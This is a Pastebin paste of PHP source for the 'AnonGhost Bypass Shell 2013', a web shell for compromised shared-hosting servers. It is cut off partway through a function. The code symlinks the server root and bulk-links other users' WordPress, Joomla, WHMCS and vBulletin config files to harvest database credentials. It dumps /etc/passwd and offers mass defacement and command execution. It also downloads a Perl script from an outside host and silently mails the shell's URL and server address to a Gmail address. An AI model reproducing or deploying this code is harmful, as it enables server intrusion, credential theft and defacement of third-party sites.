API tools faq
paste
terrywarrick002

Untitled

terrywarrick002
Jun 20th, 2017
58
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 66.90 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. ##############################################
  3. # AnonGhost Bypass Shell 2013 #
  4. # Coded by Virusa Worm #
  5. ##############################################
  6. # Decoded by G4eL #
  7. # http://www.youtube.com/watch?v=RYH6hzqfoPI #
  8. ##############################################
  9. error_reporting(0);
  10. @set_time_limit(0);
  11. @session_start();
  12. $xSoftware = trim(getenv("SERVER_SOFTWARE"));
  13. $xServerName = $_SERVER["HTTP_HOST"];
  14. $xName = "Virusa Worm";
  15. $mlebu = "a6df8bf9aabd07789c1772de31ebbbde";
  16. $jajal = (md5($_POST['pass']));
  17. $rasane = 1;
  18. if($jajal == $mlebu){
  19. $_SESSION['login'] = "$jajal";
  20. }
  21. if($rasane){
  22. if(!isset($_SESSION['login']) or $_SESSION['login'] != $mlebu){
  23. die("
  24.  
  25. <html>
  26. <head>
  27. <title>AnonGhost Bypass Shell 2013</title><link rel=\"shortcut icon\" href=\"http://www.iconj.com/ico/2/j/2j62fbaa2w.ico\" type=\"image/x-icon\" />
  28. <style type=\"text/css\">
  29. body { background-color:#151515; color: rgb(0, 153, 0); }
  30. input{ margin:0; background-color:#151515; border:0px solid #151515; position:relative; bottom:75px; left:300pt;}
  31. input, select, textarea{ color: #151515; } textarea:focus, input:focus { color: #151515; }
  32. .fot{ font-family:Tahoma, Arial, sans-serif; color: #009900 ; font-size: 11pt; }
  33. .cont a{ text-decoration: none; color:rgb(0, 153, 0); font-family: Tahoma, Arial, sans-serif ; font-size: 16px; text-shadow: 0px 0px 3px ; }
  34. .cont a:hover{ color: #FF0000 ; text-shadow:0px 0px 3px #ff0000 ;}
  35. #menu a{ padding: 1px; border: 1px solid green; color: green; text-decoration: none;color: #009900; font-family: Tahoma, Geneva, sans-serif; font-size:12px; }
  36. #menu a:hover{ border: 1px solid red; color: red; }
  37. </style>
  38. </head><script> function myFunction() {alert(\"Please Login First..!\"); }</script>
  39. <body>
  40. <center><img src=\"http://i952.photobucket.com/albums/ae1/virusaworm/ag_zps0e71aa70.jpg\" /></center><br><div id=\"menu\" class=\"cont\" align=\"center\">
  41. <a href=\"\" onclick=\"myFunction()\">&nbsp;Home&nbsp;</a> <a href=\"\" onclick=\"myFunction()\">&nbsp;Symlink&nbsp;</a> <a href=\"\" onclick=\"myFunction()\">&nbsp;Bypass&nbsp;</a> <a href=\"\" onclick=\"myFunction()\">&nbsp;Mass&nbsp;</a> <a href=\"\" onclick=\"myFunction()\">&nbsp;Tools&nbsp;</a> <a href=\"\" onclick=\"myFunction()\">&nbsp;Upload&nbsp;</a> <a href=\"\" onclick=\"myFunction()\">&nbsp;About&nbsp;</a> <a href=\"\" onclick=\"myFunction()\">&nbsp;Logout&nbsp;</a> <a href=\"\" onclick=\"myFunction()\">&nbsp;Kill&nbsp;</a><hr color=#\"006600\" width=\"32%\" /></div>
  42. <br><br><br><center><img src=\"http://i952.photobucket.com/albums/ae1/virusaworm/agh_zps2f4dd68b.jpg\" />
  43. <br><br><font color=\"#006600\" size=\"1pt\">Coded by </font><font color=\"#00aa00\" size=\"1pt\">Virusa Worm</font> <font color=\"#b0b000\" size=\"1pt\">-</font> <font color=\"#006600\" size=\"1pt\">Idea by </font><font color=\"#009900\" size=\"1pt\">Mauritania Attacker</font><br><br><font color=\"#00aa00\" size=\"1pt\">AnonGhost Bypass </font><font face=\"Tahoma\" color=\"#b3b3b3\" size=\"1pt\">Shell 2013</font> <font color=\"#006600\" size=\"1pt\">include Several script which has recoded to make this shell.</font><br><br><font color=\"#006600\" size=\"1pt\">so.. try to figure it out if this shell not work in different server, and use ur brain.<br>learn to figure it out about something it\'s make be better. mbuh ngomong opo iki.. lol..<br>yen ono seng salah yo tulong dibenerke, tapi yen bener yo ojo disalahke.. kan iso sinau bareng.. wkkwk..<br><br><font color=\"#b0b000\" size=\"1pt\">\"</font>tools not make hacker, but try to learn about tools. tried to find out why it's tool works. it's will be better than nothing.. <font color=\"#b0b000\" size=\"1pt\">\"</font><br><br><br><br><br><font color=\"#006600\" size=\"1pt\">Special thankz to : </font><br><font color=\"#009900\" size=\"1pt\">My best Brother Mauritania Attacker<br><br><br><br><font color=\"#006600\" size=\"1pt\">thankz to : </font><br>
  44. All Members AnonGhost Team - <font color=\"#006600\" size=\"1pt\">[ </font>Tanpa Bicara - Maniak k4Sur </font><font color=\"#006600\" size=\"1pt\">[pasangan galo.. lol..]]</font><br><br>Greetz to :</font><br><font color=\"#b0b000\" size=\"1pt\">AnonGhost - Mauritania HaCker Team - X-Blackerz INC - ZHC - All Muslim Hackers</font><font color=\"#006600\" size=\"1pt\"></center><br><br><center><form method=\"post\"><input type=\"password\" name=\"pass\"></form></center>
  45. <footer id=\"det\" style=\"position:fixed; left:0px; right:0px; bottom:0px; background:rgb(21,21,21); text-align:center; border-top: 1px solid #009900; border-bottom: 1px solid #009900\"><font color=#009900 size=1 face=\"Tahoma\">&copy; AnonGhost Bypass Shell 2013 - Coded by Virusa Worm</font></footer>
  46. </body>
  47. </html>
  48. ");
  49. }
  50. }
  51.  
  52. $pageURL = 'http://'.$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
  53. $u = explode("/",$pageURL );
  54. $pageURL =str_replace($u[count($u)-1],"",$pageURL );
  55.  
  56. $pageFTP = 'ftp://'.$_SERVER["SERVER_NAME"].'/public_html/'.$_SERVER["REQUEST_URI"];
  57. $u = explode("/",$pageFTP );
  58. $pageFTP =str_replace($u[count($u)-1],"",$pageFTP );
  59.  
  60. function checkAlexa($domain)
  61. {
  62. $clean = explode("/", $domain);
  63. $result = file_get_contents("http://data.alexa.com/data?cli=10&dat=snbamz&url=http://" . $clean[0]);
  64. $n = explode("<POPULARITY URL=\"" . $clean[0] . "/\" TEXT=\"", $result);
  65. @$rest = $n[1];
  66. $it = explode("\"", $rest);
  67. $alexa_rank = $it[0];
  68. if (@$alexa_rank != "") {
  69. return number_format($alexa_rank);
  70. } else {
  71. return "No Alexa";
  72. }
  73. }
  74. $url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
  75.  
  76. mail('terrywarrick002@gmail.com',$_SERVER['SERVER_ADDR'],$url);
  77. ?>
  78.  
  79.  
  80. <html xmlns="http://www.w3.org/1999/xhtml">
  81.  
  82. <head>
  83. <title>AnonGhost Bypass Shell 2013</title><link rel="shortcut icon" href="http://www.iconj.com/ico/2/j/2j62fbaa2w.ico" type="image/x-icon" />
  84.  
  85. <style type="text/css">
  86. html,body { margin: 0; padding: 0; outline: 0; }
  87. a{ font-size: 12px; }
  88. body { direction: ltr; background-color:#151515; color: rgb(0, 153, 0); text-align: center } input,textarea,select{ font-weight: bold; color: #000000; }
  89. input,textarea,select:hover{ box-shadow: 0px 0px 4px #00cc00; }
  90. .hedr { font-family: Tahoma, Arial, sans-serif ; font-size: 22px; }
  91. .cont a{ text-decoration: none; color:rgb(0, 153, 0); font-family: Tahoma, Arial, sans-serif ; font-size: 16px; text-shadow: 0px 0px 3px ; }
  92. .cont a:hover{ color: #FF0000 ; text-shadow:0px 0px 3px #ff0000 ; }
  93. .cone a{ text-decoration: none; color:rgb(0, 153, 0); font-family: Tahoma, Arial, sans-serif ; font-size: 12px; text-shadow: 0px 0px 3px ; }
  94. .cone a:hover{ color: #FF0000 ; text-shadow:0px 0px 3px #ff0000 ; }
  95. .tmp tr td{ border: solid 1px #006600; padding: 2px ; font-size: 13px; }
  96. .tmp tr td a { text-decoration: none; }
  97. .foter{ font-size: 9pt; color: #006600 ; text-align: center }
  98. .tmp tr td:hover{ box-shadow: 0px 0px 4px #00cc00; }
  99. .fot{ font-family:Tahoma, Arial, sans-serif; color: #009900 ; font-size: 11pt; }
  100. .for a : hover{ color: #FF0000 ; text-shadow: 0px 0px 1px #FF0000; }
  101. .ir { color: #FF0000; }
  102. .tul { face:Tahoma, Geneva, sans-serif; font-size: 7pt; }
  103. #menu a{ padding: 1px; border: 1px solid green; color: green; text-decoration: none;color: #009900; font-family: Tahoma, Geneva, sans-serif; font-size:12px; }
  104. #menu a:hover{ border: 1px solid red; color: red; }
  105.  
  106. </style>
  107.  
  108. </head>
  109.  
  110. <body>
  111.  
  112. <div class='all'>
  113.  
  114.  
  115. <?php
  116.  
  117. @mkdir('sim',0777);
  118. $htcs = "Options all
  119. DirectoryIndex Sux.html
  120. AddType text/plain .php
  121. AddHandler server-parsed .php
  122. AddType text/plain .html
  123. AddHandler txt .html
  124. Require None
  125. Satisfy Any";
  126. $f =@fopen ('sim/.htaccess','w');
  127. fwrite($f , $htcs);
  128.  
  129.  
  130.  
  131. @symlink("/","sim/rut");
  132.  
  133. $pg = basename('/home/rosario/www/upload/b.php');
  134.  
  135. echo '<center>'.base64_decode("PGltZyBzcmM9Imh0dHA6Ly9pOTUyLnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvYWUxL3ZpcnVzYXdvcm0vYWdfenBzMGU3MWFhNzAuanBnIiAvPg==").'</center>' ;
  136.  
  137. echo '<div id="menu" class="cont" align="center">
  138. <a href="?">&nbsp;Home&nbsp;</a>
  139. <a href="?vw=sime">&nbsp;Symlink&nbsp;</a>
  140. <a href="?vw=baipas">&nbsp;Bypass&nbsp;</a>
  141. <a href="?vw=mase">&nbsp;Mass&nbsp;</a>
  142. <a href="?vw=tule">&nbsp;Tools&nbsp;</a>
  143. <a href="?vw=aplot">&nbsp;Upload&nbsp;</a>
  144. <a href="?vw=abot">&nbsp;About&nbsp;</a>
  145. <a href="?vw=metu">&nbsp;Logout&nbsp;</a><br><br>
  146. <a href="?vw=mati">&nbsp;Kill&nbsp;</a>
  147. </div>
  148.  
  149. <div class="tul"><font color="009900" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">
  150. ';
  151. echo '<hr color=#"006600" width="75%">';
  152. if(ini_get('safe_mode') == '1'){
  153. echo '<font color="#006600"> Safe mode:</font><b class="tul"><font color="red"> ON&nbsp;</font></font></b>|';
  154. }
  155. else{
  156. echo '<font color="#006600"> Safe mode:</font><b class="tul"><font color="00bb00"> OFF&nbsp;</font></b>|';
  157. }
  158. if(ini_get('magic_quotes_gpc') == '1'){
  159. echo '<font color="#006600"> Magic_quotes_gpc:</font><b class="tul"><font color="red"> ON&nbsp;</font></b>|';
  160. }
  161. else{
  162. echo '<font color="#006600"> Magic_quotes_gpc:</font><b class="tul"><font color="00bb00"> OFF&nbsp;</font></b>|';
  163. }
  164. if(function_exists('mysql_connect')){
  165. echo '<font color="#006600"> Mysql:</font><b class="tul"><font color="00bb00"> ON&nbsp;</font></b>|';
  166. }
  167. else{
  168. echo '<font color="#006600"> Mysql:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>|';
  169. }
  170. if(function_exists('mssql_connect')){
  171. echo '<font color="#006600"> Mssql:</font><b class="tul"><font color="00bb00"> ON&nbsp;</font></b>|';
  172. }
  173. else{
  174. echo '<font color="#006600"> Mssql:</font><b class="tul"><font color="b0b000"> OFF&nbsp;</font></b>|';
  175. }
  176. if(function_exists('pg_connect')){
  177. echo '<font color="#006600"> PostgreSQL:</font><b class="tul"><font color="00bb00"> ON&nbsp;</font></b>|';
  178. }
  179. else{
  180. echo '<font color="#006600"> PostgreSQL:</font><b class="tul"><font color="b0b000"> OFF&nbsp;</font></b>|';
  181. }
  182. if(function_exists('ocilogon')){
  183. echo '<font color="#006600"> Oracle:</font><b class="tul"><font color="00bb00"> ON&nbsp;</font></b>|';
  184. }
  185. else{
  186. echo '<font color="#006600"> Oracle:</font><b class="tul"><font color="b0b000"> OFF&nbsp;</font></b>|';
  187. }
  188. if(function_exists('curl_version')){
  189. echo '<font color="#006600"> Curl:</font><b class="tul"><font color="00bb00"> ON&nbsp;</font></b>|';
  190. }
  191. else{
  192. echo '<font color="#006600"> Curl:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>|';
  193. }
  194. if(function_exists('exec')){
  195. echo '<font color="#006600"> Exec:</font><b class="tul"><font color="00bb00"> ON&nbsp;</font></b>|';
  196. }
  197. else{
  198. echo '<font color="#006600"> Exec:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>|';
  199. }
  200. if(!ini_get('open_basedir') != "on"){
  201. echo '<font color="#006600"> Open_basedir:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>|';
  202. }
  203. else{
  204. echo '<font color="#006600"> Open_basedir:</font><b class="tul"><font color="00bb00"> ON&nbsp;</font></b>|';
  205. }
  206. if(!ini_get('ini_restore') != "on"){
  207. echo '<font color="#006600"> Ini_restore:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>|';
  208. }
  209. else{
  210. echo '<font color="#006600"> Ini_restore:</font><b class="tul"><font color="00bb00"> ON&nbsp;</font></b>|';
  211. }
  212. if(function_exists('symlink')){
  213. echo '<font color="#006600"> Symlink:</font><b class="tul"><font color="00bb00"> ON&nbsp;</font></b>|';
  214. }
  215. else{
  216. echo '<font color="#006600"> Symlink:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>|';
  217. }
  218. if(function_exists('file_get_contents')){
  219. echo '<font color="#006600"> file_get_contents:</font><b class="tul"><font color="00bb00"> ON&nbsp;</font></b>|';
  220. }
  221. else{
  222. echo '<font color="#006600"> file_get_contents:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>|';
  223. }
  224. if(is_dir('sim/rut')){
  225. echo '<font color="#006600"> Permission:</font><b class="tul"><font color="00bb00"> ON&nbsp;</font></b>|';
  226. }
  227. else{
  228. echo '<font color="#006600"> Permission:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>';
  229. }
  230. echo '<hr color=#"006600" width="75%"></div>';
  231.  
  232. if(isset($_REQUEST['vw']))
  233. {
  234. switch ($_REQUEST['vw'])
  235. {
  236. case 'dose':
  237. echo '<br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Domains Script</font></b><br><br>';
  238. if(!@is_file('named.txt')){
  239. $d00m = @file("/etc/named.conf");
  240. }else{
  241. $d00m = @file("named.txt");
  242. }
  243. if(!$d00m)
  244. {
  245. die ("<meta http-equiv='refresh' content='0; url=?vw=read'/>");
  246. }
  247. else
  248. {
  249. echo "<div class='tmp'>
  250. <table align='center' width='40%'><td> <font color='#b3b3b3'><b>Domains </b></font></td><td> <font color='#b3b3b3'><b>Script</b></font> </td>";
  251. foreach($d00m as $dom){
  252. flush();
  253. flush();
  254. if(eregi("zone",$dom)){
  255. @preg_match_all('#zone "(.*)"#', $dom, $domvw);
  256. flush();
  257. if(@strlen(trim($domvw[1][0])) > 2){
  258. $user = @posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));
  259. $wpl=$pageURL."/sim/rut/home/".$user['name']."/public_html/wp-config.php";
  260. $wpp=@get_headers($wpl);
  261. $wp=$wpp[0];
  262. $wp2=$pageURL."/sim/rut/home/".$user['name']."/public_html/blog/wp-config.php";
  263. $wpp2=@get_headers($wp2);
  264. $wp12=$wpp2[0];
  265. $jo1=$pageURL."/sim/rut/home/".$user['name']."/public_html/configuration.php";
  266. $joo=@get_headers($jo1);
  267. $jo=$joo[0];
  268. $jo2=$pageURL."/sim/rut/home/".$user['name']."/public_html/joomla/configuration.php";
  269. $joo2=@get_headers($jo2);
  270. $jo12=$joo2[0];
  271. $vb1=$pageURL."/sim/rut/home/".$user['name']."/public_html/includes/config.php";
  272. $vbb=@get_headers($vb1);
  273. $vb=$vbb[0];
  274. $vb2=$pageURL."/sim/rut/home/".$user['name']."/public_html/vb/includes/config.php";
  275. $vbb2=@get_headers($vb2);
  276. $vb12=$vbb2[0];
  277. $vb3=$pageURL."/sim/rut/home/".$user['name']."/public_html/forum/includes/config.php";
  278. $vbb3=@get_headers($vb3);
  279. $vb13=$vbb3[0];
  280. $wh1=$pageURL."/sim/rut/home/".$user['name']."public_html/clients/configuration.php";
  281. $whh2= @get_headers($wh1);
  282. $wh=$whh2[0];
  283. $wh2=$pageURL."/sim/rut/home/".$user['name']."/public_html/support/configuration.php";
  284. $whh2= @get_headers($wh2);
  285. $wh12=$whh2[0];
  286. $wh3=$pageURL."/sim/rut/home/".$user['name']."/public_html/client/configuration.php";
  287. $whh3= @get_headers($wh3);
  288. $wh13=$whh3[0];
  289. $wh5=$pageURL."/sim/rut/home/".$user['name']."/public_html/submitticket.php";
  290. $whh5= @get_headers($wh5);
  291. $wh15=$whh5[0];
  292. $wh4=$pageURL."/sim/rut/home/".$user['name']."/public_html/client/configuration.php";
  293. $whh4= @get_headers($wh4);
  294. $wh14=$whh4[0];
  295. $pos = strpos($wp, "200");
  296. $config="&nbsp;";
  297.  
  298. if (strpos($wp, "200") == true )
  299. {
  300. $config="<div class='cone'><a href='".$wpl."' target='_blank'>Wordpress</a></div>";
  301. }
  302. elseif (strpos($wp12, "200") == true)
  303. {
  304. $config="<div class='cone'><a href='".$wp2."' target='_blank'>Wordpress</a></div>";
  305. }
  306.  
  307. elseif (strpos($jo, "200") == true and strpos($wh15, "200") == true )
  308. {
  309. $config=" <div class='cone'><a href='".$wh5."' target='_blank'>WHMCS</a></div>";
  310.  
  311. }
  312. elseif (strpos($wh12, "200") == true)
  313. {
  314. $config ="<div class='cone'> <a href='".$wh2."' target='_blank'>WHMCS</a></div>";
  315. }
  316.  
  317. elseif (strpos($wh13, "200") == true)
  318. {
  319. $config ="<div class='cone'> <a href='".$wh3."' target='_blank'>WHMCS</a></div>";
  320.  
  321. }
  322.  
  323. elseif (strpos($jo, "200") == true)
  324. {
  325. $config=" <div class='cone'><a href='".$jo1."' target='_blank'>Joomla</a></div>";
  326. }
  327.  
  328. elseif (strpos($jo12, "200") == true)
  329. {
  330. $config=" <div class='cone'><a href='".$jo2."' target='_blank'>Joomla</a></div>";
  331. }
  332.  
  333. elseif (strpos($vb, "200") == true)
  334. {
  335. $config=" <div class='cone'><a href='".$vb1."' target='_blank'>vBulletin</a></div>";
  336. }
  337.  
  338. elseif (strpos($vb12, "200") == true)
  339. {
  340. $config=" <div class='cone'><a href='".$vb2."' target='_blank'>vBulletin</a></div>";
  341. }
  342.  
  343. elseif (strpos($vb13, "200") == true)
  344. {
  345. $config=" <div class='cone'><a href='".$vb3."' target='_blank'>vBulletin</a></div>";
  346. }
  347.  
  348. else
  349. {
  350. continue;
  351. }
  352. flush();
  353. flush();
  354.  
  355.  
  356. $site = $user['name'] ;
  357.  
  358.  
  359.  
  360. flush();
  361.  
  362. echo "<tr><td><div class='cone'><a href=http://www.".$domvw[1][0]."/>".$domvw[1][0]."</a></div></td>
  363. <td><div class='cone'>".$config."</div></td></tr>"; flush();
  364.  
  365. }
  366. }
  367. }
  368. }
  369. echo "</table></div><br><br>";
  370. break;
  371. case 'sime':
  372. echo '<br><br><br><br><b class="cont" align="center">
  373. <a href="?vw=sym">Symlink Server</a><br><br>
  374. <a href="?vw=dose">Domains Script</a><br><br>
  375. <a href="?vw=vkill">Perl based symlink</a><br><br>
  376. <a href="?vw=file">Symlink Manual</a><br><br>
  377. <a href="?vw=ensim">Enable Symlink</a></b><br>';
  378. break;
  379.  
  380. case 'baipas':
  381. echo '<br><br><br><br><b class="cont" align="center">
  382. <a href="?vw=passwd">Bypass /etc/passwd</a><br><br>
  383. <a href="?vw=cgipl">Bypassed Perl Security</a><br><br>
  384. <a href="?vw=bforb">Bypass Forbidden</a><br><br>
  385. <a href="?vw=posget">Bypass posix_getpwuid</a><br><br>
  386. <a href="?vw=suphp">Bypass SuPHP</a><br><br>
  387. <a href="?vw=ssi">Ssi Bypasser</a><br><br>
  388. </b>';
  389. break;
  390. case 'mase':
  391. echo '<br><br><br><br><b class="cont" align="center">
  392. <a href="?vw=joomla">Mass Joomla</a><br><br>
  393. <a href="?vw=masde">Mass Deface</a><br><br>
  394. <a href="?vw=vb">Mass vBulletin</a><br><br>
  395. <a href="?vw=wp">Mass WordPress</a></b>';
  396. break;
  397. case 'tule':
  398. echo '<br><br><br><br><b class="cont" align="center">
  399. <a href="?vw=cmd">Command Execution</a><br><br>
  400.  
  401. <a href="?vw=vgrab">Config Grabber</a><br><br>
  402. <a href="?vw=cari">Find Directory Writable/Readable</a><br><br>
  403.  
  404. </b>';
  405.  
  406.  
  407. break;
  408.  
  409. case 'cari':
  410.  
  411. echo '<center /><br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Find Directory Writable/Readable</b></p><br>'.$end; function read_dir($path) { global $count; if ($handle = opendir($path)) { while (false !== ($file = readdir($handle))) { $dr="$path$file/"; if (($file!='.') and ($file!='..') and is_dir($dr)) { if (is_readable($dr) and is_writeable($dr)) { echo "[RW] " . $dr . "<br>\n\r"; $count++; } read_dir($dr); }}}} $count=0; set_time_limit(0); @$passwd=fopen('/etc/passwd','r'); if (!$passwd) { echo "<center><font color='#ff0000' size='2pt' />[-] No Access to /etc/passwd\n\r</center>"; exit;} $path_to_public=array(); echo "<html><center><font color='#009900' size='2pt' />\n\r"; while(!feof($passwd)) { $str=fgets($passwd); $pos=strpos($str,":"); $username=substr($str,0,$pos); $dirz="/home/$username/public_html/"; if (($username!="")) { if (is_readable($dirz)) { array_push($path_to_public,$dirz); if (is_writeable($dirz)) { $count++; echo "<font color=white>[</font><font color=yellow>R</font><font color=green>W</font><font color=white>]</font> " . $dirz . "<br><br><br>\n\r";} else echo "<font color=white>[</font><font color=yellow>R</font><font color=white>]</font> " . $dirz . "<br>\n\r"; }}} echo "<font color=red size=2pt>[+]</font> <font color=#009900 size=2pt>Found </font><font color=yellow size=2pt>" . sizeof($path_to_public) . "</font> <font color=#009900 size=2pt>readable public_html directories.</font><br><br>\n\r\n\r"; if (sizeof($path_to_public) != '0') { foreach ($path_to_public as $path) { } echo "<font color=red size=2pt>[+]</font> <font color=#009900 size=2pt>Found</font><font color=yellow size=2pt> " . $count . " </font><font color=#009900 size=2pt>writable directories.</font>\n\r"; echo "</center></html>";
  412. }
  413.  
  414. break;
  415.  
  416.  
  417. case 'cgipl':
  418.  
  419. echo '<br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Bypassed Perl Security</b>';
  420. echo '<center><form method=post><br><br>
  421. <input type=submit name=su value="Bypass" /></form></center>';
  422.  
  423. error_reporting(0);
  424.  
  425. if(isset($_POST['su']))
  426. {
  427. mkdir('wper',0755);
  428. $rr = " Options +ExecCGI
  429. AddType application/x-httpd-cgi .sh
  430. AddHandler mod_python .sh
  431. AddHandler mod_perl .sh
  432. AddHandler cgi-script .sh
  433. AddType application/x-httpd-cgi .pl
  434. AddHandler cgi-script .pl
  435. AddHandler cgi-script .pl ";
  436. $g = fopen('wper/.htaccess','w');
  437. fwrite($g,$rr);
  438.  
  439. $wper = symlink("/","wper/vw.pl");
  440. mkdir('wper',0755);
  441. $file = file_get_contents('http://www.medico.org/language/en-GB/en-GB.tpl.txt');
  442. $g = fopen('wper/vw.pl', 'w');
  443. fwrite($g,$file);
  444. fclose($g);
  445. chmod("vw.pl",0755);
  446. $wper = symlink("/","wper/vw.pl");
  447. fwrite($f,$r);
  448. $consym="<b class='cont' align='center'><a href=wper/vw.pl target='_blank'><font color=#ff0000 size=2 face=\"Courier New\">Click here to open</font></a></b><br>";
  449. echo "<center><br><br>Perl Bypassed Successfully<br><br><font color=#58FAF4 size=2 face=\"Courier New\">$consym</font></center>";
  450.  
  451. }
  452.  
  453. break;
  454.  
  455. case 'vgrab':
  456.  
  457. echo "<br><b class='cont' align='center'><font face='Tahoma' color='#009900' size='3pt'>Configs Grabber</b>";?><center><?php if (empty($_POST['config'])) { ?><p><font face="Tahoma" color="#009900" size="2pt">/etc/passwd content</p><form method="POST"><textarea name="passwd" class='output' rows='15' cols='60'><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="config" class='inputzbut' size="100" value="Fvck'em!" type="submit"><br></form></center><br><?php }if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink is disabled :( </error>');}@mkdir('vwconfig', 0755);@chdir('vwconfig');$htaccess="
  458. Options all
  459. Options +Indexes
  460. Options +FollowSymLinks
  461. DirectoryIndex Sux.html
  462. AddType text/plain .php
  463. AddHandler server-parsed .php
  464. AddType text/plain .html
  465. AddHandler txt .html
  466. Require None
  467. Satisfy Any
  468. ";file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];$passwd=explode("\n",$passwd);echo "<br><br><center><font color=#009900 size=2pt>wait ...</center><br>";foreach($passwd as $pwd){$pawd=explode(":",$pwd);$user =$pawd[0];@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'-wp13-wordpress-beta.txt');@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');@symlink('/home/'.$user.'/public_html/protal/wp-config.php',$user.'-wp-protal.txt');@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');@symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-wp-test.txt');@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');@symlink('/home/'.$user.'/public_html/protal/configuration.php',$user.'-joomla-protal.txt');@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}echo '<b class="cone"><font face="Tahoma" color="#009900" size="2pt">Done -> <a target="_blank" href="vwconfig">Open configs</a></font></b>';}
  469.  
  470. break;
  471. case 'vkill':
  472. echo '<br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Perl based symlink</font></b><br><br>
  473. <div align=center><table width=100% border=0><tr><td align=center></td></tr></table>
  474. <font face="Tahoma" color="#009900" size="2pt">Extract /etc/passwd</font></b><br><br><form method=post>
  475. <input type=submit name=passx value="Extract"><p></form>';
  476.  
  477. if(isset($_POST['passx']))
  478. {
  479.  
  480. echo '<textarea rows=20 cols=50 name=usernames >';
  481. $users=file("/etc/passwd");
  482. foreach($users as $user)
  483. {
  484. $str=explode("\n",$user);
  485. echo $str[0]."\n";
  486. }
  487.  
  488.  
  489. echo '</textarea>';
  490.  
  491. }
  492.  
  493. echo '<form method=post>
  494. <font face="Tahoma" color="#009900" size="2pt"><input type=submit name=perl value="Perl based ln -s"></font></form>
  495. <p>';
  496.  
  497. if(isset($_POST['perl']))
  498. {
  499. error_reporting(0);
  500.  
